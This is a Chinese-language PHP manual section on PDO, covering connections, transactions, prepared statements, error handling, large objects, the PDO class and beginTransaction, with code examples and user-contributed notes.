Example #3 关闭连接

<?php
$dbh = new PDO('mysql:host=localhost;dbname=test', $user, $pass);
// 在此使用连接
$sth = $dbh->query('SELECT * FROM foo');

// 使用完毕，关闭连接
$sth = null;
$dbh = null;
?>

很多 web 应用程序通过与数据库建立持久连接获得好处。持久连接不会在脚本结束时关闭，而是会缓存，且当另一个脚本使用相同凭证请求连接时重用。持久连接缓存可以避免每次脚本需要与数据库通信时建立新连接的开销，从而让 web 应用程序更快。

Example #4 持久化连接

<?php
$dbh = new PDO('mysql:host=localhost;dbname=test', $user, $pass, array(
PDO::ATTR_PERSISTENT => true
));
?>

PDO::ATTR_PERSISTENT 选项的值转换为 bool（启用/禁用持久连接），除非它不是数字 string，在这种情况下允许使用多个持久连接池。如果不同的链接使用不兼容的设置，非常有用，例如 PDO::MYSQL_ATTR_USE_BUFFERED_QUERY 的值不同。

Note:

如果想使用持久连接，必须在传递给 PDO 构造函数的驱动程序选项数组中设置 PDO::ATTR_PERSISTENT。如果在对象实例化后用 PDO::setAttribute() 设置此属性，驱动程序将不会使用持久连接。

Note:

如果使用 PDO ODBC 驱动程序且 ODBC 库支持 ODBC 连接池（有 unixODBC 和 Windows 是其中的两个；可能会有更多），建议不要使用持久 PDO 连接，而是把连接缓存留给 ODBC 连接池层。ODBC 连接池在进程中与其它模块共享；如果 PDO 缓存连接，则此连接永远不会被返回到 ODBC 连接池，从而导致创建额外的连接来服务其它模块。

User Contributed Notes

There are no user contributed notes for this page.


事务与自动提交

现在通过 PDO 连接上了，在开始进行查询前，必须先理解 PDO 是如何管理事务的。事务支持四大特性（ACID）：原子性（Atomicity）、一致性（Consistency）、隔离性（Isolation）以及持久性（Durability）。通俗地讲，在一个事务中执行的任何操作，即使是分阶段执行的，也能保证安全地应用于数据库，并在提交时不会受到来自其他连接的干扰。事务操作也可以根据请求自动撤销（假设还没有提交），这使得在脚本中处理错误更加容易。

事务通常是通过把一批更改"积蓄"起来然后使之同时生效而实现的；这样做的好处是可以大大地提供这些更改的效率。换句话说，事务可以使脚本更快，而且可能更健壮（不过需要正确地使用事务才能获得这样的好处）。

不幸的是，并非每种数据库都支持事务，因此当第一次打开连接时，PDO
需要在所谓的"自动提交"模式下运行。自动提交模式意味着，如果数据库支持，运行的每个查询都有它自己的隐式事务，如果数据库不支持事务，则没有。如果需要一个事务，则必须用
PDO::beginTransaction() 方法来启动。如果底层驱动不支持事务，则抛出一个 PDOException
异常（不管错误处理设置是怎样的，这都是一个严重的错误状态）。一旦开始了事务，可用 PDO::commit()
或 PDO::rollBack() 来完成，这取决于事务中的代码是否运行成功。

Warning

PDO 仅在驱动层检查是否具有事务处理能力。如果某些运行时条件意味着事务不可用，且数据库服务接受请求去启动一个事务，PDO::beginTransaction() 将仍然返回 true 而且没有错误。

试着在 MySQL 数据库的 MyISAM 数据表中使用事务就是一个很好的例子。

当脚本结束或连接即将被关闭时，如果尚有一个未完成的事务，那么 PDO 将自动回滚该事务。这种安全措施有助于在脚本意外终止时避免出现不一致的情况——如果没有显式地提交事务，那么假设是某个地方出错了，所以执行回滚来保证数据安全。

Warning

只有通过 PDO::beginTransaction() 启动一个事务后，才可能发生自动回滚。如果手动发出一条查询启动事务，则 PDO 无法知晓，从而在必要时不能进行回滚。

Example #1 在事务中执行批处理

在下面例子中，假设为新员工创建一组条目，分配一个为 23 的 ID。除了登记此人的基本数据之外，还需要记录他的工资。两个更新分别完成起来很简单，但通过封闭在 PDO::beginTransaction() 和 PDO::commit() 调用中，可以保证在更改完成之前，其他人无法看到这些更改。如果发生了错误，catch 块回滚自事务启动以来发生的所有更改，并输出一条错误信息。

<?php
try {
$dbh = new PDO('odbc:SAMPLE', 'db2inst1', 'ibmdb2',
array(PDO::ATTR_PERSISTENT => true));
echo "Connected\n";
} catch (Exception $e) {
die("Unable to connect: " . $e->getMessage());
}

try {
$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

$dbh->beginTransaction();
$dbh->exec("insert into staff (id, first, last) values (23, 'Joe', 'Bloggs')");
$dbh->exec("insert into salarychange (id, amount, changedate)
values (23, 50000, NOW())");
$dbh->commit();

} catch (Exception $e) {
$dbh->rollBack();
echo "Failed: " . $e->getMessage();
}
?>

并不局限于在事务中更改，也可以发出复杂的查询来提取数据，还可以使用那些信息来构建更多的更改和查询；当事务激活时，可以保证其他人在操作进行当中无法作出更改。想更进一步阅读关于事务的信息，可参考数据库服务提供的文档。

User Contributed Notes

hooby404 at gmail dot com 05-Jul-2022 08:08
> You're not limited to making updates in a transaction; you can also issue complex
> queries to extract data, and possibly use that information to build up more updates
> and queries; while the transaction is active, you are guaranteed that no one else can
> make changes while you are in the middle of your work. For further reading on
> transactions, refer to the documentation provided by your database server.

This only holds true if you specifically do "SELECT .... FOR UPDATE".

Without the "FOR UPDATE" part, when two transactions run at the same time, the second transaction could change a value AFTER the first transaction read it, but BEFORE the first transaction used it for updates.

Without the "FOR UPDATE" part you are absolutely NOT GUARANTEED that no one else can make changes while you are in the middle of your work.
harl at gmail dot com 18-Dec-2017 03:11
Some DBMSs allow DDL (table creation/alteration) within transactions, some do not. Asking "Does my DBMS allow DDL within transactions without forcing a commit?" gives the following example answers:

CUBRID: Yes
DB2 UDB: Yes
Firebird: Yes
Informix: Yes
MySQL: No
Oracle: No (although schema upgrades can be rolled out using "edition-based redefinition")
PostgreSQL: Yes
SQLite: Yes
SQL Server: Sometimes, depending on isolation level, type of command, etc.
Sybase: Yes
pasamio at gmail dot com 26-Oct-2012 07:25
Typically data definition language clauses (DDL) will trigger the database engine to automatically commit:
http://dev.mysql.com/doc/refman/5.0/en/implicit-commit.html

Many other databases (e.g. Oracle) will implicitly commit before and after running DDL statements.


预处理语句与存储过程

很多更成熟的数据库都支持预处理语句的概念。什么是预处理语句？可以把它看作是想要运行的 SQL 的一种编译过的模板，它可以使用变量参数进行定制。预处理语句可以带来两大好处：

  • 查询仅需解析（或预处理）一次，但可以用相同或不同的参数执行多次。当查询准备好后，数据库将分析、编译和优化执行该查询的计划。对于复杂的查询，此过程要花费较长的时间，如果需要以不同参数多次重复相同的查询，那么该过程将大大降低应用程序的速度。通过使用预处理语句，可以避免重复分析/编译/优化周期。简言之，预处理语句占用更少的资源，因而运行得更快。
  • 提供给预处理语句的参数不需要用引号括起来，驱动程序会自动处理。如果应用程序只使用预处理语句，可以确保不会发生SQL 注入。（然而，如果查询的其他部分是由未转义的输入来构建的，则仍存在 SQL 注入的风险）。

预处理语句如此有用，以至于它们唯一的特性是在驱动程序不支持的时PDO 将模拟处理。这样可以确保不管数据库是否具有这样的功能，都可以确保应用程序可以用相同的数据访问模式。

Example #1 用预处理语句进行重复插入

下面例子通过用 name 和 value 替代相应的命名占位符来执行一个插入查询

<?php
$stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (:name, :value)");
$stmt->bindParam(':name', $name);
$stmt->bindParam(':value', $value);

// 插入一行
$name = 'one';
$value = 1;
$stmt->execute();

// 用不同的值插入另一行
$name = 'two';
$value = 2;
$stmt->execute();
?>

Example #2 用预处理语句进行重复插入

下面例子通过用 name 和 value 取代 ? 占位符的位置来执行一条插入查询。

<?php
$stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (?, ?)");
$stmt->bindParam(1, $name);
$stmt->bindParam(2, $value);

// 插入一行
$name = 'one';
$value = 1;
$stmt->execute();

// 用不同的值插入另一行
$name = 'two';
$value = 2;
$stmt->execute();
?>

Example #3 使用预处理语句获取数据

下面例子获取数据基于键值已提供的形式。用户的输入被自动用引号括起来，因此不会有 SQL 注入攻击的危险。

<?php
$stmt = $dbh->prepare("SELECT * FROM REGISTRY where name = ?");
$stmt->execute([$_GET['name']]);
foreach ($stmt as $row) {
print_r($row);
}
?>

Example #4 Calling a stored procedure with an output parameter

如果数据库驱动支持，应用程序还可以绑定输出和输入参数。 输出参数通常用于从存储过程获取值。 输出参数使用起来比输入参数要稍微复杂一些，因为当绑定一个输出参数时，必须知道给定参数的长度。 如果为参数绑定的值大于建议的长度，就会产生一个错误。

<?php
$stmt = $dbh->prepare("CALL sp_returns_string(?)");
$stmt->bindParam(1, $return_value, PDO::PARAM_STR, 4000);

// 调用存储过程
$stmt->execute();

print "procedure returned $return_value\n";
?>

Example #5 带输入/输出参数调用存储过程

还可以指定同时具有输入和输出值的参数，其语法类似于输出参数。 在下一个例子中，字符串"hello"被传递给存储过程， 当存储过程返回时，hello 被替换为该存储过程返回的值。

<?php
$stmt = $dbh->prepare("CALL sp_takes_string_returns_string(?)");
$value = 'hello';
$stmt->bindParam(1, $value, PDO::PARAM_STR|PDO::PARAM_INPUT_OUTPUT, 4000);

// 调用存储过程
$stmt->execute();

print "procedure returned $value\n";
?>

Example #6 占位符的无效使用

<?php
$stmt = $dbh->prepare("SELECT * FROM REGISTRY where name LIKE '%?%'");
$stmt->execute([$_GET['name']]);

// 占位符必须被用在整个值的位置
$stmt = $dbh->prepare("SELECT * FROM REGISTRY where name LIKE ?");
$stmt->execute(["%$_GET[name]%"]);
?>

User Contributed Notes

bkilinc at deyta dot net 28-Jan-2021 05:38
it is a good practice not using double quotes in sql strings. This way you can ensure that no variable is injected in query.
a simple query with parameters should be;
'INSERT INTO REGISTRY (name, value) VALUES (?, ?)'
not
"INSERT INTO REGISTRY (name, value) VALUES (?, ?)"
w37090 at yandex dot ru 06-Feb-2020 06:11
Insert a multidimensional array into the database through a prepared query:
We have an array to write the form:

$dataArr:
Array
(
    [0] => Array
        (
            [0] => 2020
            [1] => 23
            [2] => 111111
        )

    [1] => Array
        (
            [0] => 2020
            [1] => 24
            [2] => 222222222
        )
....

Task: prepare a request and pass through binds
$array = [];
foreach ($dataArr as $k=>$v) {
// $x = 2020, the variable is predetermined in advance, does not change the essence
$array[] = [$x, $k, $v];
}
$sql = ("INSERT INTO `table` (`field`,`field`,`field`) VALUES (?,?,?)");

$db->queryBindInsert($sql,$array);

public function queryBindInsert($sql,$bind) {
        $stmt = $this->pdo->prepare($sql);

        if(count($bind)) {
            foreach($bind as $param => $value) {
                $c = 1;
                for ($i=0; $i<count($value); $i++) {
                    $stmt->bindValue($c++, $value[$i]);
                }
                $stmt->execute();
            }
        }
    }
adam at pyramidpower dot com dot au 05-Apr-2010 06:38
Note that when using name parameters with bindParam, the name itself, cannot contain a dash '-'.

example:
<?php
$stmt = $dbh->prepare ("INSERT INTO user (firstname, surname) VALUES (:f-name, :s-name)");
$stmt -> bindParam(':f-name', 'John');
$stmt -> bindParam(':s-name', 'Smith');
$stmt -> execute();
?>

The dashes in 'f-name' and 's-name' should be replaced with an underscore or no dash at all.

See http://bugs.php.net/43130

Adam


错误与错误处理

PDO 提供了三种不同的错误处理模式，以满足不同风格的应用开发：

  • PDO::ERRMODE_SILENT

    在PHP8.0.0之前，此为默认模式。 PDO 将只简单地设置错误码，可使用 PDO::errorCode() 和 PDO::errorInfo() 方法来检查语句和数据库对象。如果错误是由于对语句对象的调用而产生的，那么可以调用那个对象的 PDOStatement::errorCode() 或 PDOStatement::errorInfo() 方法。如果错误是由于调用数据库对象而产生的，那么可以在数据库对象上调用上述两个方法。

  • PDO::ERRMODE_WARNING

    除设置错误码之外，PDO 还将发出一条传统的 E_WARNING 信息。如果只是想看看发生了什么问题且不中断应用程序的流程，那么此设置在调试/测试期间非常有用。

  • PDO::ERRMODE_EXCEPTION

    从PHP 8.0.0开始，这是默认模式。 除设置错误码之外，PDO 还将抛出一个 PDOException 异常类并设置它的属性来反射错误码和错误信息。此设置在调试期间也非常有用，因为它会有效地放大脚本中产生错误的点，从而可以非常快速地指出代码中有问题的潜在区域（记住：如果异常导致脚本终止，则事务被自动回滚）。

    异常模式另一个非常有用的是，相比传统 PHP 风格的警告，可以更清晰地构建自己的错误处理，而且比起静默模式和显式地检查每种数据库调用的返回值，异常模式需要的代码/嵌套更少。

    See Exceptions for more information about Exceptions in PHP.

PDO 使用 SQL-92 SQLSTATE 来规范错误码字符串；不同 PDO 驱动程序负责将它们的本地代码映射为适当的 SQLSTATE 代码。PDO::errorCode() 方法返回一个单独的 SQLSTATE 码。如果需要更多此错误的细节信息，PDO 还提供了一个 PDO::errorInfo() 方法来返回一个包含 SQLSTATE 码、特定驱动错误码以及此驱动的错误字符串的数组。

Example #1 创建 PDO 实例并设置错误模式

<?php
$dsn = 'mysql:dbname=testdb;host=127.0.0.1';
$user = 'dbuser';
$password = 'dbpass';

$dbh = new PDO($dsn, $user, $password);
$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
// This will cause PDO to throw a PDOException (when the table doesn't exist)
$dbh->query("SELECT wrongcolumn FROM wrongtable");

以上示例会输出：

Fatal error: Uncaught PDOException: SQLSTATE[42S02]: Base table or view not found: 1146 Table 'testdb.wrongtable' doesn't exist in /tmp/pdo_test.php:10
Stack trace:
#0 /tmp/pdo_test.php(10): PDO->query('SELECT wrongcol...')
#1 {main}
  thrown in /tmp/pdo_test.php on line 10

Note:

不管当前是否设置了 PDO::ATTR_ERRMODE ，如果连接失败，PDO::__construct() 将总是抛出一个 PDOException 异常。

Example #2 创建 PDO 实例并在构造函数中设置错误模式

<?php
$dsn = 'mysql:dbname=test;host=127.0.0.1';
$user = 'googleguy';
$password = 'googleguy';

$dbh = new PDO($dsn, $user, $password, array(PDO::ATTR_ERRMODE => PDO::ERRMODE_WARNING));

// 这里将导致 PDO 抛出一个 E_WARNING 级别的错误，而不是 一个异常 （当数据表不存在时）
$dbh->query("SELECT wrongcolumn FROM wrongtable");

以上示例会输出：

Warning: PDO::query(): SQLSTATE[42S02]: Base table or view not found: 1146 Table 'test.wrongtable' doesn't exist in
/tmp/pdo_test.php on line 9

User Contributed Notes

There are no user contributed notes for this page.


大对象 (LOB)

应用程序在某一时刻，可能需要在数据库中存储"大"数据。"大"通常意味着"大约 4kb 或以上"，尽管某些数据库在数据达到"大"之前可以轻松地处理多达
32kb 的数据。大对象本质上可能是文本或二进制。在 PDOStatement::bindParam() 或
PDOStatement::bindColumn()) 调用中使用 PDO::PARAM_LOB
类型码可以让 PDO 使用大数据类型。PDO::PARAM_LOB 告诉 PDO 作为流来映射数据，以便能使用
PHP Streams API 来操作。

Example #1 从数据库中显示一张图片

下面例子绑定一个 LOB 到 $lob 变量，然后用 fpassthru() 将其发送到浏览器。因为 LOB 代表一个流，所以类似 fgets()、fread() 以及 stream_get_contents() 这样的函数都可以用在它上面。

<?php
$db = new PDO('odbc:SAMPLE', 'db2inst1', 'ibmdb2');
$stmt = $db->prepare("select contenttype, imagedata from images where id=?");
$stmt->execute(array($_GET['id']));
$stmt->bindColumn(1, $type, PDO::PARAM_STR, 256);
$stmt->bindColumn(2, $lob, PDO::PARAM_LOB);
$stmt->fetch(PDO::FETCH_BOUND);

header("Content-Type: $type");
fpassthru($lob);
?>

Example #2 插入一张图片到数据库

下面例子打开一个文件并将文件句柄传给 PDO 来做为一个 LOB 插入。PDO尽可能地让数据库以最有效的方式获取文件内容。

<?php
$db = new PDO('odbc:SAMPLE', 'db2inst1', 'ibmdb2');
$stmt = $db->prepare("insert into images (id, contenttype, imagedata) values (?, ?, ?)");
$id = get_new_id(); // 调用某个函数来分配一个新 ID

// 假设处理一个文件上传
// 可以在 PHP 文档中找到更多的信息

$fp = fopen($_FILES['file']['tmp_name'], 'rb');

$stmt->bindParam(1, $id);
$stmt->bindParam(2, $_FILES['file']['type']);
$stmt->bindParam(3, $fp, PDO::PARAM_LOB);

$db->beginTransaction();
$stmt->execute();
$db->commit();
?>

Example #3 插入一张图片到数据库：Oracle

对于从文件插入一个 lob，Oracle略有不同。必须在事务之后进行插入，否则当执行查询时导致新近插入 LOB 将以0长度被隐式提交：

<?php
$db = new PDO('oci:', 'scott', 'tiger');
$stmt = $db->prepare("insert into images (id, contenttype, imagedata) " .
"VALUES (?, ?, EMPTY_BLOB()) RETURNING imagedata INTO ?");
$id = get_new_id(); // 调用某个函数来分配一个新 ID

// 假设处理一个文件上传
// 可以在 PHP 文档中找到更多的信息

$fp = fopen($_FILES['file']['tmp_name'], 'rb');

$stmt->bindParam(1, $id);
$stmt->bindParam(2, $_FILES['file']['type']);
$stmt->bindParam(3, $fp, PDO::PARAM_LOB);

$db->beginTransaction();
$stmt->execute();
$db->commit();
?>

User Contributed Notes

phpcoder at gmail dot com 31-Oct-2018 11:34
The DBMSs that are listed above have these (default) limits on the maximum size of a char string. The maximum is given in bytes so the number of characters storable can be smaller if a multibyte encoding is used.

CUBRID:    16kB
SQL Server: 2GB
Firebird:  32kB
IBM Db2:   32kB
Informix:  32kB
MySQL:     16kB
Oracle:     2kB
PostgreSQL: 1GB
SQLite:     1 billion bytes
4D: Unknown, but LOBs are limited to 2GB.
ben dot leiting at gmail dot com 13-Jun-2016 05:56
For selecting data out of Postgres, the data type of the column in the table determined if the parameter bound with PARAM_LOB returned a string or returned a resource.

<?php

// create table log ( data text ) ;
$geth = $dbh->prepare('select data from log ');
$geth->execute();
$geth->bindColumn(1, $dataString, PDO::PARAM_LOB);
$geth->fetch(PDO::FETCH_BOUND);

echo ($dataString); // $dataString is a string

// create table log ( data bytea ) ;
$geth = $dbh->prepare('select data from log');
$geth->execute();
$geth->bindColumn(1, $dataFH, PDO::PARAM_LOB);
$geth->fetch(PDO::FETCH_BOUND);

fpassthru($dataFH); // $dataFH is a resource
xorinox at gmx dot ch 13-Jan-2011 11:11
I find it easier to use stream_get_contens to fetch the data of a lob using the file handle.

<?php
$stmt = $pdo->con->prepare( 'select * from filetable' );
$stmt->execute();
$res = $stmt->fetchAll( PDO::FETCH_ASSOC );

for( $i=0; $i<count($res); $i++ ){
  $filename = "C:/tmp/".$res[$i]['FILE_ID'].'.xml';
  $content = stream_get_contents( $res[$i]['DATA_FILE'] );
  file_put_contents( $filename, $content );
}
?>
Jeremy Cook 19-Feb-2010 01:31
There seems to be a bug that affects example 1 above. PDO::PARAM_LOB when used with pdo::bindColumn() is supposed to return a stream but it returns a string. Passing this string to fpassthru() then triggers an error with the message 'supplied argument is not a valid stream resource'. This has been reported in bug #40913. The work around is to do the following:

<?php
$stmt = $db->prepare("select contenttype, imagedata from images where id=?");
$stmt->execute(array($_GET['id']));
$stmt->bindColumn(1, $type, PDO::PARAM_STR, 256);
$stmt->bindColumn(2, $lob, PDO::PARAM_LOB);
$stmt->fetch(PDO::FETCH_BOUND);

header("Content-Type: $type");
echo($lob);
?>

Since the browser is expecting an image after the call to header() writing the string representation of the binary output with echo() has the same affect as calling fpassthru().
http://matts.org/ 28-Aug-2009 01:30
A big gotcha exists for Oracle users.

You have to save CLOB objects using PDO::PARAM_STR, not PDO::PARAM_LOB.

But you MUST send the 4th argument, usually strlen($subject) or you get a LONG error.
diogoko at gmail dot com 01-Apr-2009 09:33
PDOStatement's methods bindParam and bindValue also work with strings, as in:

<?php
  $data = file_get_contents($filename);
  $stmt->bindValue(1, $data, PDO::PARAM_LOB);
  //...
?>

This was the only way I could make it work with PostgreSQL.
knl at bitflop dot com 23-Sep-2008 12:07
I spend a lot of time trying to get this to work, but no matter what I did PDO corrupted my data.

I finally discovered that I had been using:

$pdo->exec('SET CHARACTER SET utf8');

in the TRY part of my connection script.

This off course doesn't work when you feed binary input to PDO using the parameter lob.


PDO 类

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.1.0)

简介

代表 PHP 和数据库服务之间的一个连接

类摘要

class PDO {
/* 常量 */
public const int PARAM_NULL;
public const int PARAM_BOOL = 5;
public const int PARAM_INT = 1;
public const int PARAM_STR = 2;
public const int PARAM_LOB = 3;
public const int PARAM_STMT = 4;
public const int PARAM_INPUT_OUTPUT;
public const int PARAM_STR_NATL;
public const int PARAM_STR_CHAR;
public const int PARAM_EVT_ALLOC;
public const int PARAM_EVT_FREE;
public const int PARAM_EVT_EXEC_PRE;
public const int PARAM_EVT_EXEC_POST;
public const int PARAM_EVT_FETCH_PRE;
public const int PARAM_EVT_FETCH_POST;
public const int PARAM_EVT_NORMALIZE;
public const int FETCH_DEFAULT;
public const int FETCH_LAZY;
public const int FETCH_ASSOC;
public const int FETCH_NUM;
public const int FETCH_BOTH;
public const int FETCH_OBJ;
public const int FETCH_BOUND;
public const int FETCH_COLUMN;
public const int FETCH_CLASS;
public const int FETCH_INTO;
public const int FETCH_FUNC;
public const int FETCH_GROUP;
public const int FETCH_UNIQUE;
public const int FETCH_KEY_PAIR;
public const int FETCH_CLASSTYPE;
public const int FETCH_SERIALIZE;
public const int FETCH_PROPS_LATE;
public const int FETCH_NAMED;
public const int ATTR_AUTOCOMMIT;
public const int ATTR_PREFETCH;
public const int ATTR_TIMEOUT;
public const int ATTR_ERRMODE;
public const int ATTR_SERVER_VERSION;
public const int ATTR_CLIENT_VERSION;
public const int ATTR_SERVER_INFO;
public const int ATTR_CONNECTION_STATUS;
public const int ATTR_CASE;
public const int ATTR_CURSOR_NAME;
public const int ATTR_CURSOR;
public const int ATTR_ORACLE_NULLS;
public const int ATTR_PERSISTENT;
public const int ATTR_STATEMENT_CLASS;
public const int ATTR_FETCH_TABLE_NAMES;
public const int ATTR_FETCH_CATALOG_NAMES;
public const int ATTR_DRIVER_NAME;
public const int ATTR_STRINGIFY_FETCHES;
public const int ATTR_MAX_COLUMN_LEN;
public const int ATTR_EMULATE_PREPARES;
public const int ATTR_DEFAULT_FETCH_MODE;
public const int ATTR_DEFAULT_STR_PARAM;
public const int ERRMODE_SILENT;
public const int ERRMODE_WARNING;
public const int ERRMODE_EXCEPTION;
public const int CASE_NATURAL;
public const int CASE_LOWER;
public const int CASE_UPPER;
public const int NULL_NATURAL;
public const int NULL_EMPTY_STRING;
public const int NULL_TO_STRING;
public const string ERR_NONE;
public const int FETCH_ORI_NEXT;
public const int FETCH_ORI_PRIOR;
public const int FETCH_ORI_FIRST;
public const int FETCH_ORI_LAST;
public const int FETCH_ORI_ABS;
public const int FETCH_ORI_REL;
public const int CURSOR_FWDONLY;
public const int CURSOR_SCROLL;
/* 方法 */
public __construct(
string $dsn,
?string $username = null,
?string $password = null,
?array $options = null
)
public beginTransaction(): bool
public commit(): bool
public errorCode(): ?string
public errorInfo(): array
public exec(string $statement): int|false
public getAttribute(int $attribute): mixed
public static getAvailableDrivers(): array
public inTransaction(): bool
public lastInsertId(?string $name = null): string|false
public prepare(string $query, array $options = []): PDOStatement|false
public query(string $query, ?int $fetchMode = null): PDOStatement|false
public query(string $query, ?int $fetchMode = PDO::FETCH_COLUMN, int $colno): PDOStatement|false
public query(
string $query,
?int $fetchMode = PDO::FETCH_CLASS,
string $classname,
array $constructorArgs
): PDOStatement|false
public query(string $query, ?int $fetchMode = PDO::FETCH_INTO, object $object): PDOStatement|false
public quote(string $string, int $type = PDO::PARAM_STR): string|false
public rollBack(): bool
public setAttribute(int $attribute, mixed $value): bool
}

Table of Contents

  • PDO::beginTransaction — 启动一个事务
  • PDO::commit — 提交一个事务
  • PDO::__construct — 创建一个表示数据库连接的 PDO 实例
  • PDO::errorCode — 获取跟数据库句柄上一次操作相关的 SQLSTATE
  • PDO::errorInfo — Fetch extended error information associated with the last operation on the database handle
  • PDO::exec — 执行 SQL 语句，并返回受影响的行数
  • PDO::getAttribute — 取回一个数据库连接的属性
  • PDO::getAvailableDrivers — 返回一个可用驱动的数组
  • PDO::inTransaction — 检查是否在事务内
  • PDO::lastInsertId — 返回最后插入行的ID或序列值
  • PDO::prepare — 预处理要执行的语句，并返回语句对象
  • PDO::query — 预处理并执行没有占位符的 SQL 语句
  • PDO::quote — 为 SQL 查询里的字符串添加引号
  • PDO::rollBack — 回滚事务
  • PDO::setAttribute — 设置属性

User Contributed Notes

Ale L 01-Nov-2018 06:17
1) Do not use your ddbb info in the same file

AND

2) DO NOT NEVER USE "All privileges user" for everything, always create an alternative user with restricted permissions (basic: SELECT, INSERT and so on)
sinri at everstray dot com 07-Dec-2017 03:38
For some Database Environment, such as Aliyun DRDS (Distributed Relational Database Service), cannot process preparing for SQL.
For such cases, the option `\PDO::ATTR_EMULATE_PREPARES` should be set to true. If you always got reports about "Failed to prepare SQL" while this option were set to false, you might try to turn on this option to emulate prepares for SQL.
Anonymous 30-Aug-2017 08:05
I personnaly create a new instance of PDO like this :

$dbDatas = parse_ini_file( DB_FILE );
 $dbOptions = [
 \PDO::ATTR_DEFAULT_FECTH_MODE => \PDO::FETCH_OBJ,
 \PDO::ATTR_ERRMODE => \PDO::ERRMODE_EXCEPTION
 ];

 $dsn = sprintf( 'mysql:dbname=%s;host=%s', $dbDatas['dbname'],
$dbDatas['host'] );

 $this->cn = new \PDO( $dsn, $dbDatas['user'], $dbDatas['password'],
$dbOptions );
 $this->cn->exec( 'SET CHARACTER SET UTF8' );
thz at plista dot com 14-Jun-2013 01:25
Starting with PHP 5.4 you are unable to use persistent connections when you have your own database class derived from the native PDO class. If your code uses this combination, you will encounter segmentation faults during the cleanup of the PHP process.
You can still use _either_ a derived PDO class _or_ persistent connections.

For more information, please see this bug report: https://bugs.php.net/bug.php?id=63176
williambarry007 at gmail dot com 12-Oct-2011 01:10
PDO and Dependency Injection

Dependency injection is good for testing.  But for anyone wanting various data mapper objects to have a database connection, dependency injection can make other model code very messy because database objects have to be instantiated all over the place and given to the data mapper objects.

The code below is a good way to maintain dependency injection while keeping clean and minimal model code.

<?php

class DataMapper
{
    public static $db;

    public static function init($db)
    {
        self::$db = $db;
    }
}

class VendorMapper extends DataMapper
{
    public static function add($vendor)
    {
        $st = self::$db->prepare(
            "insert into vendors set
            first_name = :first_name,
            last_name = :last_name"
        );
        $st->execute(array(
            ':first_name' => $vendor->first_name,
            ':last_name' => $vendor->last_name
        ));
    }
}

// In your bootstrap
$db = new PDO(...);
DataMapper::init($db);

// In your model logic
$vendor = new Vendor('John', 'Doe');
VendorMapper::add($vendor);

?>
kcleung at kcleung dot no-ip dot org 02-May-2010 03:47
Here is an singleton PDO example:

###### config.ini ######
db_driver=mysql
db_user=root
db_password=924892xp

[dsn]
host=localhost
port=3306
dbname=localhost

[db_options]
PDO::MYSQL_ATTR_INIT_COMMAND=set names utf8

[db_attributes]
ATTR_ERRMODE=ERRMODE_EXCEPTION
############

<?php class Database {
    private static $link = null ;

    private static function getLink ( ) {
        if ( self :: $link ) {
            return self :: $link ;
        }

        $ini = _BASE_DIR . "config.ini" ;
        $parse = parse_ini_file ( $ini , true ) ;

        $driver = $parse [ "db_driver" ] ;
        $dsn = "${driver}:" ;
        $user = $parse [ "db_user" ] ;
        $password = $parse [ "db_password" ] ;
        $options = $parse [ "db_options" ] ;
        $attributes = $parse [ "db_attributes" ] ;

        foreach ( $parse [ "dsn" ] as $k => $v ) {
            $dsn .= "${k}=${v};" ;
        }

        self :: $link = new PDO ( $dsn, $user, $password, $options ) ;

        foreach ( $attributes as $k => $v ) {
            self :: $link -> setAttribute ( constant ( "PDO::{$k}" )
                , constant ( "PDO::{$v}" ) ) ;
        }

        return self :: $link ;
    }

    public static function __callStatic ( $name, $args ) {
        $callback = array ( self :: getLink ( ), $name ) ;
        return call_user_func_array ( $callback , $args ) ;
    }
} ?>

<?php // examples
$stmt = Database :: prepare ( "SELECT 'something' ;" ) ;
$stmt -> execute ( ) ;
var_dump ( $stmt -> fetchAll ( ) ) ;
$stmt -> closeCursor ( ) ;
?>
Megaloman 18-Feb-2009 07:03
"And storing username/password inside class is not a very good idea for production code."

Good idea is to store database connection settings in *.ini files but you have to restrict access to them. For example this way:

my_setting.ini:
[database]
driver = mysql
host = localhost
;port = 3306
schema = db_schema
username = user
password = secret

Database connection:
<?php
class MyPDO extends PDO
{
    public function __construct($file = 'my_setting.ini')
    {
        if (!$settings = parse_ini_file($file, TRUE)) throw new exception('Unable to open ' . $file . '.');

        $dns = $settings['database']['driver'] .
        ':host=' . $settings['database']['host'] .
        ((!empty($settings['database']['port'])) ? (';port=' . $settings['database']['port']) : '') .
        ';dbname=' . $settings['database']['schema'];

        parent::__construct($dns, $settings['database']['username'], $settings['database']['password']);
    }
}
?>

Database connection parameters are accessible via human readable ini file for those who screams even if they see one PHP/HTML/any_other command.
anrdaemon at freemail dot ru 22-Aug-2008 01:16
Keep in mind, you MUST NOT use 'root' user in your applications, unless your application designed to do a database maintenance.

And storing username/password inside class is not a very good idea for production code. You would need to edit the actual working code to change settings, which is bad.


启动一个事务

  • ? PDO
  • PDO::commit ?
  • PHP Manual
  • PDO
  • 启动一个事务

PDO::beginTransaction

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.1.0)

PDO::beginTransaction — 启动一个事务

说明

public PDO::beginTransaction(): bool

关闭自动提交模式。自动提交模式被关闭的同时，通过 PDO 对象实例对数据库做出的更改直到调用 PDO::commit() 结束事务才被提交。调用 PDO::rollBack() 将回滚对数据库做出的更改并将数据库连接返回到自动提交模式。

包括 MySQL 在内的一些数据库，当发出一条类似 DROP TABLE 或 CREATE TABLE 这样的 DDL 语句时，会自动进行一个隐式地事务提交。隐式地提交将阻止你在此事务范围内回滚任何其他更改。

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

如果事务已启动或者驱动不支持事务，则抛出 PDOException。

Note: PDO::ATTR_ERRMODE 属性不是 PDO::ERRMODE_EXCEPTION 时会抛出一个异常。

示例

Example #1 回滚一个事务

下面例子在回滚此更改前开始一个事务并发出两条修改数据库的语句。但在 MySQL 中，DROP TABLE 语句自动提交事务，使得在此事务中的任何更改都不会被回滚。

<?php
/* 开始一个事务，关闭自动提交 */
$dbh->beginTransaction();

/* 更改数据库架构及数据 */
$sth = $dbh->exec("DROP TABLE fruit");
$sth = $dbh->exec("UPDATE dessert
SET name = 'hamburger'");

/* 识别出错误并回滚更改 */
$dbh->rollBack();

/* 数据库连接现在返回到自动提交模式 */
?>

